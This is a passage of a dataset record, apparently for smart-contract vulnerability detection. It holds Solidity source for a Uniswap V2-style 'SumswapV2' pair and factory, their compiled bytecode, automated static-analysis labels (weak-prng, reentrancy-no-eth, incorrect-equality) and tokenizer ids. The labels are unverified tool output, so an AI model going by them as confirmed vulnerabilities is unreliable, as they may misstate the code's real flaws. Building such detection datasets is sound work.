{ // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = ISumswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(2).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external virtual override lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20Sumswap(token0).balanceOf(address(this)); uint balance1 = IERC20Sumswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'SumswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external virtual override lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Sumswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Sumswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'SumswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Sumswap(_token0).balanceOf(address(this)); balance1 = IERC20Sumswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external virtual override lock { require(amount0Out > 0 || amount1Out > 0, 'SumswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'SumswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'SumswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) ISumswapV2Callee(to).sumswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Sumswap(_token0).balanceOf(address(this)); balance1 = IERC20Sumswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'SumswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SumswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external virtual override lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Sumswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Sumswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external virtual override lock { _update(IERC20Sumswap(token0).balanceOf(address(this)), IERC20Sumswap(token1).balanceOf(address(this)), reserve0, reserve1); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external virtual override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external virtual override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external virtual override { require(deadline >= block.timestamp, 'SumswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'SumswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } pragma solidity >=0.5.16; contract SumswapV2Factory is ISumswapV2Factory { address public override feeTo; address public override feeToSetter; address public migrator; address public route; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external virtual override view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB) external virtual override returns (address pair) { require(msg.sender == route || msg.sender == migrator, 'sumswapV2: need privilege'); require(tokenA != tokenB, 'SumswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'SumswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'SumswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(SumswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } ISumiswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external virtual override { require(msg.sender == feeToSetter, 'SumswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external virtual { require(msg.sender == feeToSetter, 'SumswapV2: FORBIDDEN'); migrator = _migrator; } function setRoute(address _route) external virtual { require(msg.sender == feeToSetter, 'SumswapV2: FORBIDDEN'); route = _route; } function setFeeToSetter(address _feeToSetter) external virtual override { require(msg.sender == feeToSetter, 'SumswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80637cd07e47116100715780637cd07e471461016a578063a2e74af614610172578063c9c6539614610198578063d96661ef146101c6578063e6a43905146101ce578063f46901ed146101fc576100b4565b8063017e7e58146100b9578063094b7415146100dd5780631e3dd18b146100e557806323cf31181461010257806348472de61461012a578063574f2ba314610150575b600080fd5b6100c1610222565b604080516001600160a01b039092168252519081900360200190f35b6100c1610231565b6100c1600480360360208110156100fb57600080fd5b5035610240565b6101286004803603602081101561011857600080fd5b50356001600160a01b0316610267565b005b6101286004803603602081101561014057600080fd5b50356001600160a01b03166102df565b610158610357565b60408051918252519081900360200190f35b6100c161035d565b6101286004803603602081101561018857600080fd5b50356001600160a01b031661036c565b6100c1600480360360408110156101ae57600080fd5b506001600160a01b03813581169160200135166103e4565b6100c1610784565b6100c1600480360360408110156101e457600080fd5b506001600160a01b0381358116916020013516610793565b6101286004803603602081101561021257600080fd5b50356001600160a01b03166107b9565b6000546001600160a01b031681565b6001546001600160a01b031681565b6005818154811061024d57fe5b6000918252602090912001546001600160a01b0316905081565b6001546001600160a01b031633146102bd576040805162461bcd60e51b815260206004820152601460248201527329bab6b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314610335576040805162461bcd60e51b815260206004820152601460248201527329bab6b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60055490565b6002546001600160a01b031681565b6001546001600160a01b031633146103c2576040805162461bcd60e51b815260206004820152601460248201527329bab6b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6003546000906001600160a01b031633148061040a57506002546001600160a01b031633145b61045b576040805162461bcd60e51b815260206004820152601960248201527f73756d7377617056323a206e6565642070726976696c65676500000000000000604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b031614156104c2576040805162461bcd60e51b815260206004820152601e60248201527f53756d7377617056323a204944454e544943414c5f4144445245535345530000604482015290519081900360640190fd5b600080836001600160a01b0316856001600160a01b0316106104e55783856104e8565b84845b90925090506001600160a01b038216610548576040805162461bcd60e51b815260206004820152601760248201527f53756d7377617056323a205a45524f5f41444452455353000000000000000000604482015290519081900360640190fd5b6001600160a01b038281166000908152600460209081526040808320858516845290915290205416156105bb576040805162461bcd60e51b815260206004820152601660248201527553756d7377617056323a20504149525f45584953545360501b604482015290519081900360640190fd5b6060604051806020016105cd90610831565b6020820181038252601f19601f8201166040525090506000838360405160200180836001600160a01b031660601b8152601401826001600160a01b031660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f59450846001600160a01b031663485cc95585856040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b0316815260200192505050600060405180830381600087803b15801561069a57600080fd5b505af11580156106ae573d6000803e3d6000fd5b505050506001600160a01b0384811660008181526004602081815260408084208987168086529083528185208054978d166001600160a01b031998891681179091559383528185208686528352818520805488168517905560058054600181018255958190527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db090950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a35050505092915050565b6003546001600160a01b031681565b60046020908152600092835260408084209091529082529020546001600160a01b031681565b6001546001600160a01b0316331461080f576040805162461bcd60e51b815260206004820152601460248201527329bab6b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6122e78061083f8339019056fe60806040526001600c5534801561001557600080fd5b50600580546001600160a01b03191633179055604080518082018252601281527129bab6b6b0a9bbb0b8102628102a37b5b2b760711b6020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f818301527f80326c56afd3802b9452d04dd636b571e6d3869e742b15a4be4afe34d199b8ec818401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a0808301919091528351808303909101815260c090910190925281519101206003556121d7806101106000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a714610534578063d505accf1461053c578063dd62ed3e1461058d578063fff6cae9146105bb576101a9565b8063ba9a7a56146104fe578063bc25cf7714610506578063c45a01551461052c576101a9565b80637ecebe00116100d35780637ecebe001461046557806389afcb441461048b57806395d89b41146104ca578063a9059cbb146104d2576101a9565b80636a6278421461041157806370a08231146104375780637464fc3d1461045d576101a9565b806323b872dd116101665780633644e515116101405780633644e515146103cb578063485cc955146103d35780635909c0d5146104015780635a3d549314610409576101a9565b806323b872dd1461036f57806330adf81f146103a5578063313ce567146103ad576101a9565b8063022c0d9f146101ae57806306fdde031461023c5780630902f1ac146102b9578063095ea7b3146102f15780630dfe16811461033157806318160ddd14610355575b600080fd5b61023a600480360360808110156101c457600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b5090925090506105c3565b005b610244610acb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027e578181015183820152602001610266565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c1610af9565b604080516001600160701b03948516815292909316602083015263ffffffff168183015290519081900360600190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610b23565b604080519115158252519081900360200190f35b610339610b3a565b604080516001600160a01b039092168252519081900360200190f35b61035d610b49565b60408051918252519081900360200190f35b61031d6004803603606081101561038557600080fd5b506001600160a01b03813581169160208101359091169060400135610b4f565b61035d610be3565b6103b5610c07565b6040805160ff9092168252519081900360200190f35b61035d610c0c565b61023a600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610c12565b61035d610c96565b61035d610c9c565b61035d6004803603602081101561042757600080fd5b50356001600160a01b0316610ca2565b61035d6004803603602081101561044d57600080fd5b50356001600160a01b0316610f7e565b61035d610f90565b61035d6004803603602081101561047b57600080fd5b50356001600160a01b0316610f96565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b0316610fa8565b6040805192835260208301919091528051918290030190f35b61024461133c565b61031d600480360360408110156104e857600080fd5b506001600160a01b03813516906020013561135b565b61035d611368565b61023a6004803603602081101561051c57600080fd5b50356001600160a01b031661136e565b6103396114e0565b6103396114ef565b61023a600480360360e081101561055257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356114fe565b61035d600480360360408110156105a357600080fd5b506001600160a01b0381358116916020013516611700565b61023a61171d565b600c5460011461060e576040805162461bcd60e51b815260206004820152601160248201527014dd5b5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55841515806106215750600084115b61065c5760405162461bcd60e51b815260040180806020018281038252602581526020018061210c6025913960400191505060405180910390fd5b600080610667610af9565b5091509150816001600160701b03168710801561068c5750806001600160701b031686105b6106c75760405162461bcd60e51b81526004018080602001828103825260218152602001806121596021913960400191505060405180910390fd5b60065460075460009182916001600160a01b039182169190811690891682148015906107055750806001600160a01b0316896001600160a01b031614155b61074e576040805162461bcd60e51b815260206004820152601560248201527453756d7377617056323a20494e56414c49445f544f60581b604482015290519081900360640190fd5b8a1561075f5761075f828a8d61187f565b891561077057610770818a8c61187f565b861561082257886001600160a01b031663cbca709d338d8d8c8c6040518663ffffffff1660e01b815260040180866001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b15801561080957600080fd5b505af115801561081d573d6000803e3d6000fd5b505050505b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561086857600080fd5b505afa15801561087c573d6000803e3d6000fd5b505050506040513d602081101561089257600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156108de57600080fd5b505afa1580156108f2573d6000803e3d6000fd5b505050506040513d602081101561090857600080fd5b5051925060009150506001600160701b0385168a9003831161092b57600061093a565b89856001600160701b03160383035b9050600089856001600160701b0316038311610957576000610966565b89856001600160701b03160383035b905060008211806109775750600081115b6109b25760405162461bcd60e51b81526004018080602001828103825260248152602001806120e86024913960400191505060405180910390fd5b60006109d46109c2846003611a19565b6109ce876103e8611a19565b90611a7c565b905060006109e66109c2846003611a19565b9050610a0b620f4240610a056001600160701b038b8116908b16611a19565b90611a19565b610a158383611a19565b1015610a57576040805162461bcd60e51b815260206004820152600c60248201526b53756d7377617056323a204b60a01b604482015290519081900360640190fd5b5050610a6584848888611acc565b60408051838152602081018390528082018d9052606081018c905290516001600160a01b038b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280601281526020017129bab6b6b0a9bbb0b8102628102a37b5b2b760711b81525081565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b6000610b30338484611c8b565b5060015b92915050565b6006546001600160a01b031681565b60005481565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610bce576001600160a01b0384166000908152600260209081526040808320338452909152902054610ba99083611a7c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610bd9848484611ced565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b6005546001600160a01b03163314610c68576040805162461bcd60e51b815260206004820152601460248201527329bab6b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610cef576040805162461bcd60e51b815260206004820152601160248201527014dd5b5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580610cff610af9565b50600654604080516370a0823160e01b815230600482015290519395509193506000926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d6020811015610d7d57600080fd5b5051600754604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d6020811015610dfa57600080fd5b505190506000610e13836001600160701b038716611a7c565b90506000610e2a836001600160701b038716611a7c565b90506000610e388787611d9b565b60005490915080610e6f57610e5b6103e86109ce610e568787611a19565b611edb565b9850610e6a60006103e8611f2d565b610eb2565b610eaf6001600160701b038916610e868684611a19565b81610e8d57fe5b046001600160701b038916610ea28685611a19565b81610ea957fe5b04611fb7565b98505b60008911610ef15760405162461bcd60e51b815260040180806020018281038252602881526020018061217a6028913960400191505060405180910390fd5b610efb8a8a611f2d565b610f0786868a8a611acc565b8115610f3157600854610f2d906001600160701b0380821691600160701b900416611a19565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c54600114610ff6576040805162461bcd60e51b815260206004820152601160248201527014dd5b5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580611006610af9565b50600654600754604080516370a0823160e01b815230600482015290519496509294506001600160a01b039182169391169160009184916370a08231916024808301926020929190829003018186803b15801561106257600080fd5b505afa158015611076573d6000803e3d6000fd5b505050506040513d602081101561108c57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b1580156110da57600080fd5b505afa1580156110ee573d6000803e3d6000fd5b505050506040513d602081101561110457600080fd5b5051306000908152600160205260408120549192506111238888611d9b565b600054909150806111348487611a19565b8161113b57fe5b049a50806111498486611a19565b8161115057fe5b04995060008b118015611163575060008a115b61119e5760405162461bcd60e51b81526004018080602001828103825260288152602001806121316028913960400191505060405180910390fd5b6111a83084611fcf565b6111b3878d8d61187f565b6111be868d8c61187f565b604080516370a0823160e01b815230600482015290516001600160a01b038916916370a08231916024808301926020929190829003018186803b15801561120457600080fd5b505afa158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b5051604080516370a0823160e01b815230600482015290519196506001600160a01b038816916370a0823191602480820192602092909190829003018186803b15801561127a57600080fd5b505afa15801561128e573d6000803e3d6000fd5b505050506040513d60208110156112a457600080fd5b505193506112b485858b8b611acc565b81156112de576008546112da906001600160701b0380821691600160701b900416611a19565b600b555b604080518c8152602081018c905281516001600160a01b038f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b604051806040016040528060038152602001620534c560ec1b81525081565b6000610b30338484611ced565b6103e881565b600c546001146113b9576040805162461bcd60e51b815260206004820152601160248201527014dd5b5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654600754600854604080516370a0823160e01b815230600482015290516001600160a01b039485169490931692611462928592879261145d926001600160701b03169185916370a0823191602480820192602092909190829003018186803b15801561142b57600080fd5b505afa15801561143f573d6000803e3d6000fd5b505050506040513d602081101561145557600080fd5b505190611a7c565b61187f565b6114d6818461145d6008600e9054906101000a90046001600160701b03166001600160701b0316856001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561142b57600080fd5b50506001600c5550565b6005546001600160a01b031681565b6007546001600160a01b031681565b42841015611548576040805162461bcd60e51b815260206004820152601260248201527114dd5b5cddd85c158c8e881156141254915160721b604482015290519081900360640190fd5b6003546001600160a01b0380891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012061190160f01b6101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e280820193601f1981019281900390910190855afa158015611663573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906116995750886001600160a01b0316816001600160a01b0316145b6116ea576040805162461bcd60e51b815260206004820152601c60248201527f53756d7377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b6116f5898989611c8b565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611768576040805162461bcd60e51b815260206004820152601160248201527014dd5b5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654604080516370a0823160e01b81523060048201529051611878926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156117b957600080fd5b505afa1580156117cd573d6000803e3d6000fd5b505050506040513d60208110156117e357600080fd5b5051600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561183057600080fd5b505afa158015611844573d6000803e3d6000fd5b505050506040513d602081101561185a57600080fd5b50516008546001600160701b0380821691600160701b900416611acc565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b1781529251815160009460609489169392918291908083835b6020831061192c5780518252601f19909201916020918201910161190d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461198e576040519150601f19603f3d011682016040523d82523d6000602084013e611993565b606091505b50915091508180156119c15750805115806119c157508080602001905160208110156119be57600080fd5b50515b611a12576040805162461bcd60e51b815260206004820152601a60248201527f53756d7377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b6000811580611a3457505080820282828281611a3157fe5b04145b610b34576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820382811115610b34576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160701b038411801590611aea57506001600160701b038311155b611b31576040805162461bcd60e51b815260206004820152601360248201527253756d7377617056323a204f564552464c4f5760681b604482015290519081900360640190fd5b60085463ffffffff42811691600160e01b90048116820390811615801590611b6157506001600160701b03841615155b8015611b7557506001600160701b03831615155b15611be0578063ffffffff16611b9d85611b8e86612061565b6001600160e01b031690612073565b600980546001600160e01b03929092169290920201905563ffffffff8116611bc884611b8e87612061565b600a80546001600160e01b0392909216929092020190555b600880546dffffffffffffffffffffffffffff19166001600160701b03888116919091176dffffffffffffffffffffffffffff60701b1916600160701b8883168102919091176001600160e01b0316600160e01b63ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316600090815260016020526040902054611d109082611a7c565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611d3f9082612098565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b158015611dec57600080fd5b505afa158015611e00573d6000803e3d6000fd5b505050506040513d6020811015611e1657600080fd5b5051600b546001600160a01b038216158015945091925090611ec7578015611ec2576000611e53610e566001600160701b03888116908816611a19565b90506000611e6083611edb565b905080821115611ebf576000611e82611e798484611a7c565b60005490611a19565b90506000611e9b83611e95866002611a19565b90612098565b90506000818381611ea857fe5b0490508015611ebb57611ebb8782611f2d565b5050505b50505b611ed3565b8015611ed3576000600b555b505092915050565b60006003821115611f1e575080600160028204015b81811015611f1857809150600281828581611f0757fe5b040181611f1057fe5b049050611ef0565b50611f28565b8115611f28575060015b919050565b600054611f3a9082612098565b60009081556001600160a01b038316815260016020526040902054611f5f9082612098565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310611fc65781611fc8565b825b9392505050565b6001600160a01b038216600090815260016020526040902054611ff29082611a7c565b6001600160a01b038316600090815260016020526040812091909155546120199082611a7c565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161209057fe5b049392505050565b80820182811015610b34576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfe53756d7377617056323a20494e53554646494349454e545f494e5055545f414d4f554e5453756d7377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e5453756d7377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e454453756d7377617056323a20494e53554646494349454e545f4c495155494449545953756d7377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a2646970667358221220398917ded3b6ea43f8661d4c9d3fb9f5ef9e3b703b733aacdcc1c3affe95c16a64736f6c634300060c0033a2646970667358221220bf6fe3ced13f0b8d5075ebdabcd84b02421733a0ec6527d002ad3524cf14994264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 4246, 2692, 20958, 2546, 2620, 2278, 2575, 23352, 2581, 11329, 2063, 22203, 2629, 2094, 16576, 2487, 2546, 16147, 2549, 2497, 27814, 16048, 3540, 7959, 2063, 14526, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 2003, 18163, 4213, 2361, 2615, 2475, 21450, 1063, 2724, 3940, 16748, 4383, 1006, 4769, 25331, 19204, 2692, 1010, 4769, 25331, 19204, 2487, 1010, 4769, 3940, 1010, 21318, 3372, 1007, 1025, 3853, 2519, 2080, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2519, 9232, 12079, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1007, 6327, 3193, 5651, 1006, 4769, 3940, 1007, 1025, 3853, 2035, 4502, 18894, 1006, 21318, 102 ]
